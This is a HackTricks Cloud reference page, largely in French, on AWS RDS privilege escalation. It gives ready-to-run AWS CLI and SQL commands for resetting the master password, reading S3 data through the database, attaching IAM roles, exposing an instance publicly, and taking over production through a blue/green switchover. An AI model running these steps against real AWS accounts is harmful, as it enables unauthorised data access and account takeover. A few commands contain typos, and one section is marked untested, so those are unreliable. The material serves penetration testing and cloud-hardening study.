AWS - RDS Privesc
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
RDS - Relational Database Service
Pour plus d’informations sur RDS, consultez :
AWS - Relational Database (RDS) Enum
rds:ModifyDBInstance
Avec cette permission, un attaquant peut modifier le mot de passe du master user, et le login à l’intérieur de la base de données:
# Get the DB username, db name and address
aws rds describe-db-instances
# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
Warning
Vous devrez être capable de contacter la base de données (elles sont généralement accessibles uniquement depuis des réseaux internes).
Impact potentiel : Trouver des informations sensibles à l’intérieur des bases de données.
rds-db:connect
According to the docs a user with this permission could connect to the DB instance.
Abuse RDS Role IAM permissions
Postgresql (Aurora)
Tip
If running
SELECT datname FROM pg_database;you find a database calledrdsadminyou know you are inside an AWS postgresql database.Tout d’abord, vous pouvez vérifier si cette base de données a été utilisée pour accéder à d’autres services AWS. Vous pouvez vérifier cela en regardant les extensions installées :
SELECT * FROM pg_extension;
Si vous trouvez quelque chose comme aws_s3, vous pouvez supposer que cette base de données a un accès quelconque à S3 (il existe d’autres extensions comme aws_ml et aws_lambda).
De plus, si vous avez les permissions pour exécuter aws rds describe-db-clusters, vous pouvez y voir si le cluster a un IAM Role attaché dans le champ AssociatedRoles. Si c’est le cas, vous pouvez supposer que la base de données a été préparée pour accéder à d’autres services AWS. D’après le nom du rôle (ou si vous pouvez obtenir les permissions du rôle), vous pouvez deviner quels accès supplémentaires la base de données possède.
Maintenant, pour lire un fichier dans un bucket vous devez connaître le chemin complet. Vous pouvez le lire avec :
// Create table
CREATE TABLE ttemp (col TEXT);
// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv', // Name of the file
'eu-west-1' //region of the bucket
) AS s3_uri \gset
// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
// Get info
SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
Si vous aviez des identifiants AWS bruts, vous pourriez également les utiliser pour accéder aux données S3 avec :
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
Note
Postgresql n’a pas besoin de modifier une variable de groupe de paramètres pour pouvoir accéder à S3.
Mysql (Aurora)
Tip
Dans un mysql, si vous exécutez la requête
SELECT User, Host FROM mysql.user;et qu’il existe un utilisateur appelérdsadmin, vous pouvez supposer que vous êtes à l’intérieur d’une AWS RDS mysql db.
À l’intérieur du mysql, exécutez show variables; et si des variables telles que aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role ont des valeurs, vous pouvez supposer que la base de données est préparée pour accéder aux données S3.
De plus, si vous avez les permissions pour exécuter aws rds describe-db-clusters vous pouvez vérifier si le cluster a un rôle associé, ce qui signifie généralement un accès aux services AWS).
Maintenant, pour lire un fichier inside a bucket vous devez connaître le chemin complet. Vous pouvez le lire avec:
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
rds:AddRoleToDBCluster, iam:PassRole
Un attaquant disposant des permissions rds:AddRoleToDBCluster et iam:PassRole peut ajouter un rôle spécifié à une instance RDS existante. Cela pourrait permettre à l’attaquant d’accéder à des données sensibles ou de modifier les données contenues dans l’instance.
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
Impact potentiel: Accès à des données sensibles ou modifications non autorisées des données dans l’instance RDS.
Notez que certaines bases de données nécessitent des configurations supplémentaires, comme Mysql, qui nécessite également de spécifier le role ARN dans les parameter groups.
rds:CreateDBInstance
Avec cette seule permission, un attaquant pourrait créer une nouvelle instance à l’intérieur d’un cluster qui existe déjà et auquel est attaché un IAM role. Il ne pourra pas changer le mot de passe du master user, mais il pourrait exposer la nouvelle instance de base de données à Internet:
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
rds:CreateDBInstance, iam:PassRole
Note
TODO : Tester
Un attaquant disposant des permissions rds:CreateDBInstance et iam:PassRole peut créer une nouvelle instance RDS avec un rôle spécifié attaché. L’attaquant peut alors potentiellement accéder à des données sensibles ou modifier les données contenues dans l’instance.
Warning
Quelques exigences du rôle/instance-profile à attacher (from here):
- The profile must exist in your account.
- The profile must have an IAM role that Amazon EC2 has permissions to assume.
- The instance profile name and the associated IAM role name must start with the prefix
AWSRDSCustom.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
Impact potentiel : Accès à des données sensibles ou modifications non autorisées des données dans l’instance RDS.
rds:AddRoleToDBInstance, iam:PassRole
Un attaquant disposant des permissions rds:AddRoleToDBInstance et iam:PassRole peut ajouter un rôle spécifié à une instance RDS existante. Cela pourrait permettre à l’attaquant d’accéder à des données sensibles ou de modifier les données contenues dans l’instance.
Warning
L’instance DB doit être en dehors d’un cluster pour cela
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
Impact potentiel: Accès à des données sensibles ou modifications non autorisées des données de l’instance RDS.
rds:CreateBlueGreenDeployment, rds:AddRoleToDBCluster, iam:PassRole, rds:SwitchoverBlueGreenDeployment
Un attaquant disposant de ces permissions peut cloner une base de données de production (Blue), attacher un rôle IAM à hautes privilèges au clone (Green), puis utiliser switchover pour remplacer l’environnement de production. Cela permet à l’attaquant d’élever les privilèges de la base de données et d’obtenir un accès non autorisé à d’autres ressources AWS.
# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>
# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>
# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>
Impact potentiel: Prise de contrôle complète de l’environnement de base de données de production. Après la bascule, la base de données fonctionne avec des privilèges élevés, permettant un accès non autorisé à d’autres services AWS (p.ex., S3, Lambda, Secrets Manager) depuis la base de données.
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud

